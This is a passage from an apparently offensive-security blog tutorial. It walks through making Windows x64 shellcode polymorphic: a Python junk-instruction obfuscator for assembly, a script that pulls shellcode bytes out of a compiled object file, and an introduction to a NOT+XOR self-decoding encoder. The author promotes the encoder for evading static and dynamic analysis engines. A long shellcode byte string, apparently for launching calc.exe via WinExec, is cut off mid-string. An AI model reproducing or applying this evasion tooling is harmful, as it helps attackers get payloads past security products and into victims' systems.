    <span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">rdi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">edi</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">di</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">dil</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r8</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r8b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r9</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r9b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r10</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r10b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r11</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r11b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r12</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r12b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r13</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r13b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r14</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r14b</span><span class="sh">'</span><span class="p">],</span>
    <span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">r15</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15d</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15w</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">r15b</span><span class="sh">'</span><span class="p">],</span>
<span class="p">}</span>

<span class="k">def</span> <span class="nf">find_used_regs</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
    <span class="n">used</span> <span class="o">=</span> <span class="nf">set</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
        <span class="n">clean_line</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">;</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nf">strip</span><span class="p">()</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">clean_line</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="k">for</span> <span class="n">full_reg</span><span class="p">,</span> <span class="n">variants</span> <span class="ow">in</span> <span class="n">all_reg_variants</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="k">for</span> <span class="n">var</span> <span class="ow">in</span> <span class="n">variants</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">re</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="sa">rf</span><span class="sh">'</span><span class="s">\b</span><span class="si">{</span><span class="n">re</span><span class="p">.</span><span class="nf">escape</span><span class="p">(</span><span class="n">var</span><span class="p">)</span><span class="si">}</span><span class="s">\b</span><span class="sh">'</span><span class="p">,</span> <span class="n">clean_line</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">IGNORECASE</span><span class="p">):</span>
                    <span class="n">used</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="n">full_reg</span><span class="p">)</span>
                    <span class="k">break</span>
    <span class="k">return</span> <span class="n">used</span>

<span class="n">single_reg_templates</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">xor {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">mov {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">add {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">sub {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">cmp {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">test {reg}, {reg}</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">imul {reg}, {reg}, 1</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shl {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">shr {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">rol {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">ror {reg}, 0x0</span><span class="sh">"</span><span class="p">,</span>
    <span class="sh">"</span><span class="s">inc {reg}</span><span class="sh">"</span><span class="p">,</span>  <span class="c1"># Added inc
</span>    <span class="sh">"</span><span class="s">nop</span><span class="sh">"</span>
<span class="p">]</span>

<span class="n">two_reg_templates</span> <span class="o">=</span> <span class="p">[</span>
    <span class="sh">"</span><span class="s">xchg {reg1}, {reg2} ; xchg {reg1}, {reg2}</span><span class="sh">"</span><span class="p">,</span>
<span class="p">]</span>

<span class="k">def</span> <span class="nf">is_flag_setter</span><span class="p">(</span><span class="n">clean</span><span class="p">):</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">parts</span> <span class="o">=</span> <span class="n">clean</span><span class="p">.</span><span class="nf">split</span><span class="p">()</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">parts</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">opcode</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">lower</span><span class="p">()</span>
    <span class="n">flag_setters</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">xor</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">add</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">sub</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">cmp</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">test</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">inc</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">imul</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">shl</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">shr</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">rol</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">ror</span><span class="sh">"</span><span class="p">}</span> <span class="c1">#removed LEA
</span>    <span class="k">return</span> <span class="n">opcode</span> <span class="ow">in</span> <span class="n">flag_setters</span>

<span class="k">def</span> <span class="nf">is_conditional</span><span class="p">(</span><span class="n">clean</span><span class="p">):</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">parts</span> <span class="o">=</span> <span class="n">clean</span><span class="p">.</span><span class="nf">split</span><span class="p">()</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">parts</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">opcode</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">lower</span><span class="p">()</span>
    <span class="n">conditionals</span> <span class="o">=</span> <span class="p">{</span><span class="sh">"</span><span class="s">jz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">je</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jne</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">ja</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jae</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jb</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jbe</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jc</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jcxz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jecxz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jrcxz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jg</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jge</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jl</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jle</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jna</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnae</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnb</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnbe</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnc</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jno</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnp</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jnz</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jo</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jp</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jpe</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">jpo</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">js</span><span class="sh">"</span><span class="p">}</span>
    <span class="k">return</span> <span class="n">opcode</span> <span class="ow">in</span> <span class="n">conditionals</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Usage: python asm_obfuscator.py input.asm</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

    <span class="n">filename</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="nf">readlines</span><span class="p">()</span>

    <span class="n">used</span> <span class="o">=</span> <span class="nf">find_used_regs</span><span class="p">(</span><span class="n">lines</span><span class="p">)</span>
    <span class="n">all_gprs</span> <span class="o">=</span> <span class="nf">list</span><span class="p">(</span><span class="n">all_reg_variants</span><span class="p">.</span><span class="nf">keys</span><span class="p">())</span>
    <span class="n">candidates</span> <span class="o">=</span> <span class="p">[</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">all_gprs</span> <span class="k">if</span> <span class="n">r</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">rsp</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">rbp</span><span class="sh">'</span><span class="p">]]</span>
    <span class="n">unused</span> <span class="o">=</span> <span class="p">[</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">candidates</span> <span class="k">if</span> <span class="n">r</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">used</span><span class="p">]</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Unused registers (excluding rsp, rbp): </span><span class="si">{</span><span class="n">unused</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">stderr</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">unused</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">No unused registers available. Exiting without modification.</span><span class="sh">"</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">stderr</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

    <span class="n">insert_prob</span> <span class="o">=</span> <span class="mf">0.9</span>
    <span class="n">output_lines</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
        <span class="n">line</span> <span class="o">=</span> <span class="n">lines</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="nf">rstrip</span><span class="p">()</span>
        <span class="n">output_lines</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
        <span class="n">clean</span> <span class="o">=</span> <span class="n">line</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">;</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nf">strip</span><span class="p">()</span>
        <span class="n">insert_here</span> <span class="o">=</span> <span class="bp">True</span>
        <span class="k">if</span> <span class="n">clean</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">.</span><span class="nf">startswith</span><span class="p">((</span><span class="sh">'</span><span class="s">.</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">SECTION</span><span class="sh">'</span><span class="p">))</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">clean</span><span class="p">.</span><span class="nf">endswith</span><span class="p">(</span><span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">):</span>
            <span class="c1"># Check if we should skip insertion to avoid breaking flags for conditional jumps
</span>            <span class="k">if</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
                <span class="n">next_line</span> <span class="o">=</span> <span class="n">lines</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
                <span class="n">next_clean</span> <span class="o">=</span> <span class="n">next_line</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">;</span><span class="sh">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nf">strip</span><span class="p">()</span>
                <span class="k">if</span> <span class="nf">is_flag_setter</span><span class="p">(</span><span class="n">clean</span><span class="p">)</span> <span class="ow">and</span> <span class="nf">is_conditional</span><span class="p">(</span><span class="n">next_clean</span><span class="p">):</span>
                    <span class="n">insert_here</span> <span class="o">=</span> <span class="bp">False</span>
            <span class="k">if</span> <span class="n">random</span><span class="p">.</span><span class="nf">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="n">insert_prob</span> <span class="ow">and</span> <span class="n">insert_here</span><span class="p">:</span>
                <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">unused</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="ow">and</span> <span class="n">random</span><span class="p">.</span><span class="nf">random</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.7</span><span class="p">:</span>
                    <span class="n">reg1</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">unused</span><span class="p">)</span>
                    <span class="n">reg2</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">([</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">unused</span> <span class="k">if</span> <span class="n">r</span> <span class="o">!=</span> <span class="n">reg1</span><span class="p">])</span>
                    <span class="n">templ</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">two_reg_templates</span><span class="p">)</span>
                    <span class="n">instr</span> <span class="o">=</span> <span class="n">templ</span><span class="p">.</span><span class="nf">format</span><span class="p">(</span><span class="n">reg1</span><span class="o">=</span><span class="n">reg1</span><span class="p">,</span> <span class="n">reg2</span><span class="o">=</span><span class="n">reg2</span><span class="p">)</span>
                <span class="k">else</span><span class="p">:</span>
                    <span class="n">reg</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">unused</span><span class="p">)</span>
                    <span class="n">templ</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">choice</span><span class="p">(</span><span class="n">single_reg_templates</span><span class="p">)</span>
                    <span class="n">instr</span> <span class="o">=</span> <span class="n">templ</span><span class="p">.</span><span class="nf">format</span><span class="p">(</span><span class="n">reg</span><span class="o">=</span><span class="n">reg</span><span class="p">)</span>
                <span class="n">output_lines</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="sh">"</span><span class="s">    </span><span class="sh">"</span> <span class="o">+</span> <span class="n">instr</span><span class="p">)</span>
        <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>

    <span class="n">output_file</span> <span class="o">=</span> <span class="n">filename</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">.asm</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">_mod.asm</span><span class="sh">'</span><span class="p">)</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="n">output_file</span><span class="p">,</span> <span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">output_lines</span><span class="p">)</span> <span class="o">+</span> <span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Modified assembly written to </span><span class="si">{</span><span class="n">output_file</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>here’s what my original calc.asm assembly code looks like after I run it:</p>

<p><img width="974" height="255" alt="image" src="https://github.com/user-attachments/assets/63f4bdce-5913-4ada-a87d-486dfe5d5493" /></p>

<iframe width="1080" height="720" src="https://www.youtube.com/embed/MThxY9pkotI" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe>
<p><br /><br /></p>

<p>Now, let’s compile this using nasm to get our .obj file:</p>

<blockquote>
  <p>nasm -fwin64 locate_kernel32_mod.asm</p>
</blockquote>

<p>Next, we want to extract the shellcode from the compiled assembly .obj file.  I wrote a python script to do just that to help you out (and me! 😺).  I used to have to resort to Linux to extract the shellcode, but I got tired of booting up my VM. LOL</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">subprocess</span>
<span class="kn">import</span> <span class="n">sys</span>

<span class="k">def</span> <span class="nf">generateshellcode</span><span class="p">(</span><span class="n">obj_file</span><span class="p">):</span>
    <span class="c1"># Run objdump and capture output
</span>    <span class="n">result</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="nf">run</span><span class="p">([</span><span class="sh">'</span><span class="s">objdump</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">-D</span><span class="sh">'</span><span class="p">,</span> <span class="n">obj_file</span><span class="p">],</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">text</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">check</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">objdump_output</span> <span class="o">=</span> <span class="n">result</span><span class="p">.</span><span class="n">stdout</span>
    <span class="n">objdump_output</span> <span class="o">=</span> <span class="n">objdump_output</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">"</span><span class="s"> &lt;</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">--|</span><span class="sh">"</span><span class="p">)</span>
    <span class="c1">#objdump_output = re.sub(r'&lt;', '', objdump_output)
</span>    <span class="n">pattern</span> <span class="o">=</span> <span class="sa">r</span><span class="sh">'</span><span class="s">(?&lt;![a-zA-Z])[0-9a-fA-F]{2} </span><span class="sh">'</span>
    <span class="n">matches</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nf">findall</span><span class="p">(</span><span class="n">pattern</span><span class="p">,</span> <span class="n">objdump_output</span><span class="p">,</span> <span class="n">flags</span><span class="o">=</span><span class="n">re</span><span class="p">.</span><span class="n">IGNORECASE</span><span class="p">)</span>
    
    <span class="n">finalmatch</span><span class="o">=</span><span class="p">[]</span>
    <span class="k">for</span> <span class="k">match</span> <span class="ow">in</span> <span class="n">matches</span><span class="p">:</span>
        <span class="n">finalmatch</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="k">match</span><span class="p">.</span><span class="nf">strip</span><span class="p">())</span>  
    <span class="c1">#print(finalmatch)        
</span>    
    <span class="n">prefixed_hex</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="se">\\</span><span class="s">x</span><span class="sh">'</span> <span class="o">+</span> <span class="n">hex_val</span> <span class="k">for</span> <span class="n">hex_val</span> <span class="ow">in</span> <span class="n">finalmatch</span><span class="p">]</span>


    <span class="c1">#finalshellcode = ', '.join(prefixed_hex)
</span>    <span class="n">finalshellcode</span> <span class="o">=</span> <span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">prefixed_hex</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">finalshellcode</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">'</span><span class="s">__main__</span><span class="sh">'</span><span class="p">:</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="n">obj_file</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">findhex.py [.obj file]</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">exit</span><span class="p">()</span>
    <span class="nf">generateshellcode</span><span class="p">(</span><span class="n">obj_file</span><span class="p">)</span>
</code></pre></div></div>

<p><img width="1462" height="358" alt="image" src="https://github.com/user-attachments/assets/46502d42-aedc-4804-af38-4b8527a4ba64" /></p>

<h2 id="polymorphic-prep-part-2---the-encoder---bitwise-not--xor">Polymorphic prep part 2 - The Encoder - Bitwise NOT + XOR</h2>

<p>Now that we have our shellcode, we need to encode it to add more layers of polymorphism to our code!  I’m a huge fan of Bitwise NOT and I feel like it doesn’t get the attention it deserves.  It’s quite easy to work with, and can easily be incorporated into your encoding arsenal. 😸  Here’s how it works.  We will place our newly generated shellcode in the <code class="language-plaintext highlighter-rouge">shellcode</code> variable.  Next, we simply run the script I went ahead and put together for you below.  It will generate shellcode encoded with the <code class="language-plaintext highlighter-rouge">Bitwise NOT</code> operation combined with the familiar XOR Bitwise operation.  The script will also inform us as to the location of our <code class="language-plaintext highlighter-rouge">key</code> that we used when encoding the shellcode.  This key will be in the encoded shellcode itself! 🤯  This affords us not only great evasion for general static and dynamic analysis engines, but also introduces yet more polymorphism into our code, as this location will always change depending on the encoding key value you choose to use.  This is essentially a self-decoding shellcode stub.  These self-decrypting/self-decoding shellcode stubs are commonly seen in buffer overflow exploits.  I chose <code class="language-plaintext highlighter-rouge">0xAC</code> for our encoding key by the way for this particular example.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">sys</span>

<span class="n">shellcode</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x4d\x87\xe6\x48\x83\xec\x28\x48\x8d\x3f\x48\x83\xe4\xf0\x4d\x87\xf4\x48\x31\xc9\x49\x87\xfc\x65\x48\x8b\x04\x25\x30\x00\x00\x00\x48\x8b\x40\x60\x48\x31\xff\x48\x8b\x40\x18\x49\x87\xfe\x48\x8b\x70\x10\x48\x83\xc7\x00\x48\x8b\x36\x4c\x87\xef\x48\x8b\x4e\x60\x4c\x87\xef\x48\x8b\x19\x4d\x87\xec\x48\xba\x4b\x00\x45\x00\x52\x00\x4e\x00\x48\x31\xff\x48\x39\xd3\x74\x08\x49\x87\xfc\x75\xd6\x4c\x87\xe7\x48\x8b\x5e\x30\x4d\x89\xf6\x49\x89\xd8\x4d\x87\xe5\x8b\x5b\x3c\x4d\x6b\xe4\x01\x4c\x01\xc3\x4d\x89\xe4\x48\x31\xc9\x49\xc1\xe5\x00\x66\x81\xc1\xff\x88\x4d\x87\xee\x48\xc1\xe9\x08\x49\xc1\xcc\x00\x8b\x14\x0b\x4c\x87\xe7\x4c\x01\xc2\x4d\x89\xed\x44\x8b\x52\x14\x4d\x31\xed\x4d\x31\xdb\x49\x83\xec\x00\x44\x8b\x5a\x20\x49\x83\xfe\x00\x4d\x01\xc3\x4d\x87\xee\x4c\x89\xd1\x4c\x87\xef\x48\xb8\xa8\x96\x91\xba\x87\x9a\x9c\x6f\x48\xc1\xcf\x00\x48\xf7\xd0\x49\x87\xfd\x48\xc1\xe0\x08\x4d\x89\xed\x48\xc1\xe8\x08\x4d\x87\xe6\x50\x4d\x85\xf6\x48\x89\xe0\x49\x87\xfe\x48\x83\xc4\x08\x4d\x89\xe4\x67\xe3\x30\x49\x87\xfe\x31\xdb\x49\x87\xfc\x41\x8b\x1c\x8b\x48\xc1\xe7\x00\x4c\x01\xc3\x4d\x87\xe6\x48\xff\xc9\x49\x87\xfc\x4c\x8b\x08\x4d\x87\xf4\x4c\x39\x0b\x74\x0d\x4d\x87\xee\x75\xd1\x49\xc1\xe6\x00\xcc\x49\x87\xfc\xff\xc1\x4d\x85\xe4\x4d\x31\xdb\x4d\x87\xf4\x44\x8b\x5a\x1c\x4c\x87\xf7\x4d\x01\xc3\x4d\x87\xec\x45\x8b\x3c\x8b\x49\x87\xfe\x4d\x01\xc7\x4d\x31\xf6\x48\x31\xc0\x49\x83\xc5\x00\x50\x49\x87\xfd\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x49\x83\xfc\x00\x48\xf7\xd0\x4d\x87\xee\x50\x49\x87\xfe\x48\x89\xe1\x4d\x85\xe4\x48\x31\xd2\x4d\x87\xee\x48\xff\xc2\x49\x87\xfe\x48\x83\xec\x30\x49\x87\xfc\x41\